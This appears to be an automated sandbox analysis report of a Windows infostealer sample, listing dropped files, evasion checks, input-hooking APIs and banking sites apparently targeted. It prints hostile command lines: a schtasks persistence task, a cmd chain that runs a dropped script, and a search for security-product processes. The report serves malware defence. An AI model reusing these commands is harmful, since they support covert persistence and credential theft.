Source:	Binary string: nss3.pdb source: Hist.pif, 0000000B.00000002.3097668223.000000003154B000.00000004.00000800.00020000.00000000.sdmp, Hist.pif, 0000000B.00000002.3103502423.000000006C6EF000.00000002.00000001.01000000.00000008.sdmp, nss3.dll.11.dr
Source:	Binary string: mozglue.pdb source: Hist.pif, 0000000B.00000002.3103223842.000000006C52D000.00000002.00000001.01000000.00000009.sdmp, Hist.pif, 0000000B.00000002.3085053957.000000001978A000.00000004.00000800.00020000.00000000.sdmp, mozglue.dll.11.dr
Source:	Binary string: C:\Users\Dan\Desktop\work\sqlite\tmp\sqlite_bld_dir\2\sqlite3.pdb source: Hist.pif, 0000000B.00000002.3078787220.000000000CCAF000.00000004.00000800.00020000.00000000.sdmp, Hist.pif, 0000000B.00000002.3078228591.000000000C878000.00000002.00001000.00020000.00000000.sdmp
Source:	Binary string: softokn3.pdb source: Hist.pif, 0000000B.00000002.3091622580.0000000025667000.00000004.00000800.00020000.00000000.sdmp, softokn3.dll.11.dr

Source: C:\Users\user\Desktop\mg9LPWGtPB.exe

Code function: 0_2_004062FC GetModuleHandleA,LoadLibraryA,GetProcAddress,

0_2_004062FC

Source: freebl3.dll.11.dr	Static PE information: section name: .00cfg
Source: mozglue.dll.11.dr	Static PE information: section name: .00cfg
Source: msvcp140.dll.11.dr	Static PE information: section name: .didat
Source: softokn3.dll.11.dr	Static PE information: section name: .00cfg
Source: nss3.dll.11.dr	Static PE information: section name: .00cfg

Source: C:\Users\user\AppData\Local\Temp\787041\Hist.pif	Code function: 11_2_00048AA5 push ecx; ret		11_2_00048AB8
Source: C:\Users\user\AppData\Local\SunCraft Innovations\SolarSys.pif	Code function: 38_2_00368AA5 push ecx; ret		38_2_00368AB8

Persistence and Installation Behavior

Drops PE files with a suspicious file extension

Source: C:\Windows\SysWOW64\cmd.exe	File created: C:\Users\user\AppData\Local\Temp\661592\Bk.pif	Jump to dropped file
Source: C:\Windows\SysWOW64\cmd.exe	File created: C:\Users\user\AppData\Local\Temp\787041\Hist.pif	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\661592\Bk.pif	File created: C:\Users\user\AppData\Local\SunCraft Innovations\SolarSys.pif	Jump to dropped file

Source: C:\Users\user\AppData\Local\Temp\787041\Hist.pif	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\Windows_Services_AS[1].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\787041\Hist.pif	File created: C:\ProgramData\mozglue.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\787041\Hist.pif	File created: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\cmd.exe	File created: C:\Users\user\AppData\Local\Temp\661592\Bk.pif	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\787041\Hist.pif	File created: C:\ProgramData\msvcp140.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\cmd.exe	File created: C:\Users\user\AppData\Local\Temp\787041\Hist.pif	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\661592\Bk.pif	File created: C:\Users\user\AppData\Local\SunCraft Innovations\SolarSys.pif	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\787041\Hist.pif	File created: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\787041\Hist.pif	File created: C:\ProgramData\EHIJJDGDHD.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\787041\Hist.pif	File created: C:\ProgramData\vcruntime140.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\787041\Hist.pif	File created: C:\ProgramData\softokn3.dll	Jump to dropped file

Source: C:\Users\user\AppData\Local\Temp\787041\Hist.pif	File created: C:\ProgramData\mozglue.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\787041\Hist.pif	File created: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\787041\Hist.pif	File created: C:\ProgramData\msvcp140.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\787041\Hist.pif	File created: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\787041\Hist.pif	File created: C:\ProgramData\EHIJJDGDHD.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\787041\Hist.pif	File created: C:\ProgramData\vcruntime140.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\787041\Hist.pif	File created: C:\ProgramData\softokn3.dll	Jump to dropped file

Boot Survival

Uses schtasks.exe or at.exe to add and modify task schedules

Source: C:\Windows\SysWOW64\cmd.exe

Process created: C:\Windows\SysWOW64\schtasks.exe schtasks.exe /create /tn "Chassis" /tr "wscript //B 'C:\Users\user\AppData\Local\SunCraft Innovations\SolarSys.js'" /sc daily /mo 1 /ri 3 /du 23:57 /F /RL HIGHEST

Source: C:\Users\user\AppData\Local\Temp\787041\Hist.pif	Code function: 11_2_000A577B IsWindowVisible,IsWindowEnabled,GetForegroundWindow,IsIconic,IsZoomed,	11_2_000A577B
Source: C:\Users\user\AppData\Local\Temp\787041\Hist.pif	Code function: 11_2_00035EDA GetForegroundWindow,FindWindowW,IsIconic,ShowWindow,SetForegroundWindow,GetWindowThreadProcessId,GetWindowThreadProcessId,GetCurrentThreadId,GetWindowThreadProcessId,AttachThreadInput,AttachThreadInput,AttachThreadInput,AttachThreadInput,SetForegroundWindow,MapVirtualKeyW,MapVirtualKeyW,keybd_event,keybd_event,MapVirtualKeyW,keybd_event,MapVirtualKeyW,keybd_event,MapVirtualKeyW,keybd_event,SetForegroundWindow,AttachThreadInput,AttachThreadInput,AttachThreadInput,AttachThreadInput,	11_2_00035EDA
Source: C:\Users\user\AppData\Local\SunCraft Innovations\SolarSys.pif	Code function: 38_2_003C577B IsWindowVisible,IsWindowEnabled,GetForegroundWindow,IsIconic,IsZoomed,	38_2_003C577B
Source: C:\Users\user\AppData\Local\SunCraft Innovations\SolarSys.pif	Code function: 38_2_00355EDA GetForegroundWindow,FindWindowW,IsIconic,ShowWindow,SetForegroundWindow,GetWindowThreadProcessId,GetWindowThreadProcessId,GetCurrentThreadId,GetWindowThreadProcessId,AttachThreadInput,AttachThreadInput,AttachThreadInput,AttachThreadInput,SetForegroundWindow,MapVirtualKeyW,MapVirtualKeyW,keybd_event,keybd_event,MapVirtualKeyW,keybd_event,MapVirtualKeyW,keybd_event,MapVirtualKeyW,keybd_event,SetForegroundWindow,AttachThreadInput,AttachThreadInput,AttachThreadInput,AttachThreadInput,	38_2_00355EDA

Source: C:\Users\user\AppData\Local\Temp\787041\Hist.pif

Code function: 11_2_000432E9 EncodePointer,__initp_misc_winsig,GetModuleHandleW,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,

11_2_000432E9

Source: C:\Users\user\Desktop\mg9LPWGtPB.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\mg9LPWGtPB.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\mg9LPWGtPB.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\mg9LPWGtPB.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\mg9LPWGtPB.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\mg9LPWGtPB.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\mg9LPWGtPB.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\mg9LPWGtPB.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\mg9LPWGtPB.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\mg9LPWGtPB.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\mg9LPWGtPB.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\mg9LPWGtPB.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\787041\Hist.pif	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\787041\Hist.pif	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\787041\Hist.pif	Process information set: FAILCRITICALERRORS \| NOALIGNMENTFAULTEXCEPT \| NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\787041\Hist.pif	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\787041\Hist.pif	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\EHIJJDGDHD.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\EHIJJDGDHD.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\EHIJJDGDHD.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\EHIJJDGDHD.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\EHIJJDGDHD.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\EHIJJDGDHD.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\EHIJJDGDHD.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\EHIJJDGDHD.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\EHIJJDGDHD.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\EHIJJDGDHD.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\EHIJJDGDHD.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\EHIJJDGDHD.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\tasklist.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\661592\Bk.pif	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\661592\Bk.pif	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\661592\Bk.pif	Process information set: FAILCRITICALERRORS \| NOALIGNMENTFAULTEXCEPT \| NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\661592\Bk.pif	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\SunCraft Innovations\SolarSys.pif	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\SunCraft Innovations\SolarSys.pif	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\SunCraft Innovations\SolarSys.pif	Process information set: FAILCRITICALERRORS \| NOALIGNMENTFAULTEXCEPT \| NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\SunCraft Innovations\SolarSys.pif	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\SunCraft Innovations\SolarSys.pif	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\SunCraft Innovations\SolarSys.pif	Process information set: FAILCRITICALERRORS \| NOALIGNMENTFAULTEXCEPT \| NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX

Malware Analysis System Evasion

Found stalling execution ending in API Sleep call

Source: C:\Users\user\Desktop\mg9LPWGtPB.exe	Stalling execution: Execution stalls by calling Sleep			graph_0-3897
Source: C:\ProgramData\EHIJJDGDHD.exe	Stalling execution: Execution stalls by calling Sleep

Source: C:\Windows\System32\wscript.exe	Window found: window name: WSH-Timer
Source: C:\Windows\System32\wscript.exe	Window found: window name: WSH-Timer

Source: C:\Users\user\AppData\Local\Temp\787041\Hist.pif	Dropped PE file which has not been started: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\787041\Hist.pif	Dropped PE file which has not been started: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\787041\Hist.pif	Dropped PE file which has not been started: C:\ProgramData\softokn3.dll	Jump to dropped file

Source: C:\Users\user\AppData\Local\Temp\787041\Hist.pif

Evasive API call chain: GetSystemTimeAsFileTime,DecisionNodes

graph_11-103504

Source: C:\Users\user\AppData\Local\Temp\787041\Hist.pif	API coverage: 4.3 %
Source: C:\Users\user\AppData\Local\SunCraft Innovations\SolarSys.pif	API coverage: 4.9 %

Source: C:\Windows\SysWOW64\timeout.exe TID: 6528	Thread sleep count: 121 > 30	Jump to behavior
Source: C:\Windows\SysWOW64\timeout.exe TID: 5708	Thread sleep count: 87 > 30
Source: C:\Users\user\AppData\Local\Temp\661592\Bk.pif TID: 5700	Thread sleep time: -42000s >= -30000s
Source: C:\Windows\SysWOW64\timeout.exe TID: 3220	Thread sleep count: 125 > 30

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: C:\Users\user\AppData\Local\Temp\787041\Hist.pif

File Volume queried: C:\ FullSizeInformation

Jump to behavior

Source: C:\Users\user\Desktop\mg9LPWGtPB.exe	Code function: 0_2_004062D5 FindFirstFileW,FindClose,	0_2_004062D5
Source: C:\Users\user\Desktop\mg9LPWGtPB.exe	Code function: 0_2_00402E18 FindFirstFileW,	0_2_00402E18
Source: C:\Users\user\Desktop\mg9LPWGtPB.exe	Code function: 0_2_00406C9B DeleteFileW,lstrcatW,lstrcatW,lstrcatW,lstrlenW,FindFirstFileW,DeleteFileW,FindNextFileW,FindClose,RemoveDirectoryW,	0_2_00406C9B
Source: C:\Users\user\AppData\Local\Temp\787041\Hist.pif	Code function: 11_2_000847B7 GetFileAttributesW,FindFirstFileW,FindClose,	11_2_000847B7
Source: C:\Users\user\AppData\Local\Temp\787041\Hist.pif	Code function: 11_2_00083E72 FindFirstFileW,DeleteFileW,FindNextFileW,FindClose,FindClose,	11_2_00083E72
Source: C:\Users\user\AppData\Local\Temp\787041\Hist.pif	Code function: 11_2_0008C16C FindFirstFileW,_wcscmp,_wcscmp,FindNextFileW,FindClose,	11_2_0008C16C
Source: C:\Users\user\AppData\Local\Temp\787041\Hist.pif	Code function: 11_2_0008CB81 FindFirstFileW,FindClose,	11_2_0008CB81
Source: C:\Users\user\AppData\Local\Temp\787041\Hist.pif	Code function: 11_2_0008CC0C FindFirstFileW,FindClose,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToSystemTime,__swprintf,__swprintf,__swprintf,__swprintf,__swprintf,__swprintf,__swprintf,	11_2_0008CC0C
Source: C:\Users\user\AppData\Local\Temp\787041\Hist.pif	Code function: 11_2_0008F445 SetCurrentDirectoryW,FindFirstFileW,FindFirstFileW,_wcscmp,_wcscmp,GetFileAttributesW,SetFileAttributesW,FindNextFileW,FindClose,FindFirstFileW,SetCurrentDirectoryW,_wcscmp,_wcscmp,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,FindClose,	11_2_0008F445
Source: C:\Users\user\AppData\Local\Temp\787041\Hist.pif	Code function: 11_2_0008F5A2 SetCurrentDirectoryW,FindFirstFileW,FindFirstFileW,_wcscmp,_wcscmp,FindNextFileW,FindClose,FindFirstFileW,SetCurrentDirectoryW,_wcscmp,_wcscmp,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,FindClose,	11_2_0008F5A2
Source: C:\Users\user\AppData\Local\Temp\787041\Hist.pif	Code function: 11_2_0008F8A3 FindFirstFileW,Sleep,_wcscmp,_wcscmp,FindNextFileW,FindClose,	11_2_0008F8A3
Source: C:\Users\user\AppData\Local\Temp\787041\Hist.pif	Code function: 11_2_00083B4F FindFirstFileW,DeleteFileW,DeleteFileW,MoveFileW,DeleteFileW,FindNextFileW,FindClose,FindClose,	11_2_00083B4F
Source: C:\ProgramData\EHIJJDGDHD.exe	Code function: 16_2_004062D5 FindFirstFileW,FindClose,	16_2_004062D5
Source: C:\ProgramData\EHIJJDGDHD.exe	Code function: 16_2_00402E18 FindFirstFileW,	16_2_00402E18
Source: C:\ProgramData\EHIJJDGDHD.exe	Code function: 16_2_00406C9B DeleteFileW,lstrcatW,lstrcatW,lstrcatW,lstrlenW,FindFirstFileW,DeleteFileW,FindNextFileW,FindClose,RemoveDirectoryW,	16_2_00406C9B
Source: C:\Users\user\AppData\Local\SunCraft Innovations\SolarSys.pif	Code function: 38_2_003A47B7 GetFileAttributesW,FindFirstFileW,FindClose,	38_2_003A47B7
Source: C:\Users\user\AppData\Local\SunCraft Innovations\SolarSys.pif	Code function: 38_2_003AC16C FindFirstFileW,_wcscmp,_wcscmp,FindNextFileW,FindClose,	38_2_003AC16C
Source: C:\Users\user\AppData\Local\SunCraft Innovations\SolarSys.pif	Code function: 38_2_003ACB81 FindFirstFileW,FindClose,	38_2_003ACB81
Source: C:\Users\user\AppData\Local\SunCraft Innovations\SolarSys.pif	Code function: 38_2_003ACC0C FindFirstFileW,FindClose,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToSystemTime,__swprintf,__swprintf,__swprintf,__swprintf,__swprintf,__swprintf,__swprintf,	38_2_003ACC0C
Source: C:\Users\user\AppData\Local\SunCraft Innovations\SolarSys.pif	Code function: 38_2_003AF445 SetCurrentDirectoryW,FindFirstFileW,FindFirstFileW,_wcscmp,_wcscmp,GetFileAttributesW,SetFileAttributesW,FindNextFileW,FindClose,FindFirstFileW,SetCurrentDirectoryW,_wcscmp,_wcscmp,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,FindClose,	38_2_003AF445
Source: C:\Users\user\AppData\Local\SunCraft Innovations\SolarSys.pif	Code function: 38_2_003AF5A2 SetCurrentDirectoryW,FindFirstFileW,FindFirstFileW,_wcscmp,_wcscmp,FindNextFileW,FindClose,FindFirstFileW,SetCurrentDirectoryW,_wcscmp,_wcscmp,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,FindClose,	38_2_003AF5A2
Source: C:\Users\user\AppData\Local\SunCraft Innovations\SolarSys.pif	Code function: 38_2_003AF8A3 FindFirstFileW,Sleep,_wcscmp,_wcscmp,FindNextFileW,FindClose,	38_2_003AF8A3
Source: C:\Users\user\AppData\Local\SunCraft Innovations\SolarSys.pif	Code function: 38_2_003A3B4F FindFirstFileW,DeleteFileW,DeleteFileW,MoveFileW,DeleteFileW,FindNextFileW,FindClose,FindClose,	38_2_003A3B4F
Source: C:\Users\user\AppData\Local\SunCraft Innovations\SolarSys.pif	Code function: 38_2_003A3E72 FindFirstFileW,DeleteFileW,FindNextFileW,FindClose,FindClose,	38_2_003A3E72

Source: C:\Users\user\AppData\Local\Temp\787041\Hist.pif

Code function: 11_2_00035D13 GetVersionExW,GetCurrentProcess,IsWow64Process,GetNativeSystemInfo,FreeLibrary,GetSystemInfo,GetSystemInfo,

11_2_00035D13

Source: C:\Users\user\AppData\Local\Temp\787041\Hist.pif	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\bg\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\787041\Hist.pif	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\html\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\787041\Hist.pif	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\images\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\787041\Hist.pif	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\787041\Hist.pif	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\787041\Hist.pif	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\css\	Jump to behavior

Source: EHDGIJ.11.dr	Binary or memory string: Canara Transaction PasswordVMware20,11696428655x
Source: EHDGIJ.11.dr	Binary or memory string: discord.comVMware20,11696428655f
Source: EHDGIJ.11.dr	Binary or memory string: interactivebrokers.co.inVMware20,11696428655d
Source: EHDGIJ.11.dr	Binary or memory string: Interactive Brokers - COM.HKVMware20,11696428655
Source: EHDGIJ.11.dr	Binary or memory string: global block list test formVMware20,11696428655
Source: EHDGIJ.11.dr	Binary or memory string: Canara Transaction PasswordVMware20,11696428655}
Source: mg9LPWGtPB.exe	Binary or memory string: >:hGfSa
Source: Hist.pif, 0000000B.00000002.3072148698.00000000015DF000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: EHDGIJ.11.dr	Binary or memory string: Interactive Brokers - EU East & CentralVMware20,11696428655
Source: EHDGIJ.11.dr	Binary or memory string: Canara Change Transaction PasswordVMware20,11696428655^
Source: EHDGIJ.11.dr	Binary or memory string: account.microsoft.com/profileVMware20,11696428655u
Source: EHDGIJ.11.dr	Binary or memory string: secure.bankofamerica.comVMware20,11696428655\|UE
Source: EHDGIJ.11.dr	Binary or memory string: www.interactivebrokers.comVMware20,11696428655}
Source: EHDGIJ.11.dr	Binary or memory string: Interactive Brokers - GDCDYNVMware20,11696428655p
Source: EHDGIJ.11.dr	Binary or memory string: Interactive Brokers - EU WestVMware20,11696428655n
Source: EHDGIJ.11.dr	Binary or memory string: outlook.office365.comVMware20,11696428655t
Source: EHDGIJ.11.dr	Binary or memory string: microsoft.visualstudio.comVMware20,11696428655x
Source: EHDGIJ.11.dr	Binary or memory string: Canara Change Transaction PasswordVMware20,11696428655
Source: EHDGIJ.11.dr	Binary or memory string: outlook.office.comVMware20,11696428655s
Source: EHDGIJ.11.dr	Binary or memory string: www.interactivebrokers.co.inVMware20,11696428655~
Source: EHDGIJ.11.dr	Binary or memory string: ms.portal.azure.comVMware20,11696428655
Source: EHDGIJ.11.dr	Binary or memory string: AMC password management pageVMware20,11696428655
Source: EHDGIJ.11.dr	Binary or memory string: tasks.office.comVMware20,11696428655o
Source: Hist.pif, 0000000B.00000002.3072148698.0000000001593000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWxF^
Source: EHDGIJ.11.dr	Binary or memory string: Interactive Brokers - NDCDYNVMware20,11696428655z
Source: EHDGIJ.11.dr	Binary or memory string: turbotax.intuit.comVMware20,11696428655t
Source: EHDGIJ.11.dr	Binary or memory string: interactivebrokers.comVMware20,11696428655
Source: EHDGIJ.11.dr	Binary or memory string: Interactive Brokers - non-EU EuropeVMware20,11696428655
Source: EHDGIJ.11.dr	Binary or memory string: dev.azure.comVMware20,11696428655j
Source: EHDGIJ.11.dr	Binary or memory string: netportal.hdfcbank.comVMware20,11696428655
Source: Hist.pif, 0000000B.00000002.3072722051.0000000004653000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: VMwareVMware
Source: EHDGIJ.11.dr	Binary or memory string: Interactive Brokers - HKVMware20,11696428655]
Source: EHDGIJ.11.dr	Binary or memory string: bankofamerica.comVMware20,11696428655x
Source: EHDGIJ.11.dr	Binary or memory string: trackpan.utiitsl.comVMware20,11696428655h
Source: EHDGIJ.11.dr	Binary or memory string: Test URL for global passwords blocklistVMware20,11696428655

Source: C:\Users\user\AppData\Local\Temp\787041\Hist.pif

API call chain: ExitProcess graph end node

graph_11-101035

Source: C:\Users\user\AppData\Local\Temp\787041\Hist.pif

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\787041\Hist.pif

Code function: 11_2_000943B9 BlockInput,

11_2_000943B9

Source: C:\Users\user\AppData\Local\Temp\787041\Hist.pif

Code function: 11_2_00035240 GetCurrentDirectoryW,IsDebuggerPresent,GetFullPathNameW,SetCurrentDirectoryW,MessageBoxA,SetCurrentDirectoryW,GetForegroundWindow,ShellExecuteW,

11_2_00035240

Source: C:\Users\user\AppData\Local\Temp\787041\Hist.pif

Code function: 11_2_00055BDC EncodePointer,EncodePointer,___crtIsPackagedApp,LoadLibraryExW,GetLastError,LoadLibraryExW,GetProcAddress,EncodePointer,GetProcAddress,EncodePointer,GetProcAddress,EncodePointer,GetProcAddress,EncodePointer,GetProcAddress,EncodePointer,IsDebuggerPresent,OutputDebugStringW,DecodePointer,DecodePointer,DecodePointer,DecodePointer,DecodePointer,DecodePointer,DecodePointer,

11_2_00055BDC

Source: C:\Users\user\Desktop\mg9LPWGtPB.exe

Code function: 0_2_004062FC GetModuleHandleA,LoadLibraryA,GetProcAddress,

0_2_004062FC

Source: C:\Users\user\AppData\Local\Temp\787041\Hist.pif

Code function: 11_2_000786B0 GetSecurityDescriptorDacl,_memset,GetAclInformation,GetLengthSid,GetAce,AddAce,GetLengthSid,GetProcessHeap,HeapAlloc,GetLengthSid,CopySid,AddAce,SetSecurityDescriptorDacl,SetUserObjectSecurity,

11_2_000786B0

Source: C:\Windows\SysWOW64\tasklist.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Process token adjusted: Debug
Source: C:\Windows\SysWOW64\tasklist.exe	Process token adjusted: Debug

Source: C:\Users\user\AppData\Local\Temp\787041\Hist.pif	Code function: 11_2_0004A284 SetUnhandledExceptionFilter,	11_2_0004A284
Source: C:\Users\user\AppData\Local\Temp\787041\Hist.pif	Code function: 11_2_0004A2B5 SetUnhandledExceptionFilter,UnhandledExceptionFilter,	11_2_0004A2B5
Source: C:\Users\user\AppData\Local\SunCraft Innovations\SolarSys.pif	Code function: 38_2_0036A2B5 SetUnhandledExceptionFilter,UnhandledExceptionFilter,	38_2_0036A2B5
Source: C:\Users\user\AppData\Local\SunCraft Innovations\SolarSys.pif	Code function: 38_2_0036A284 SetUnhandledExceptionFilter,	38_2_0036A284

HIPS / PFW / Operating System Protection Evasion

Yara detected Powershell download and execute

Source: Yara match

File source: Process Memory Space: Hist.pif PID: 4368, type: MEMORYSTR

Source: C:\Users\user\AppData\Local\Temp\787041\Hist.pif

Code function: 11_2_0007914C LogonUserW,

11_2_0007914C

Source: C:\Users\user\AppData\Local\Temp\787041\Hist.pif

Code function: 11_2_00035240 GetCurrentDirectoryW,IsDebuggerPresent,GetFullPathNameW,SetCurrentDirectoryW,MessageBoxA,SetCurrentDirectoryW,GetForegroundWindow,ShellExecuteW,

11_2_00035240

Source: C:\Users\user\AppData\Local\Temp\787041\Hist.pif

Code function: 11_2_00081932 SendInput,keybd_event,

11_2_00081932

Source: C:\Users\user\AppData\Local\Temp\787041\Hist.pif

Code function: 11_2_0008504F mouse_event,

11_2_0008504F

Source: C:\Users\user\Desktop\mg9LPWGtPB.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /k move Handjob Handjob.cmd & Handjob.cmd & exit	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\tasklist.exe tasklist	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\findstr.exe findstr /I "wrsa.exe opssvc.exe"	Jump to behavior
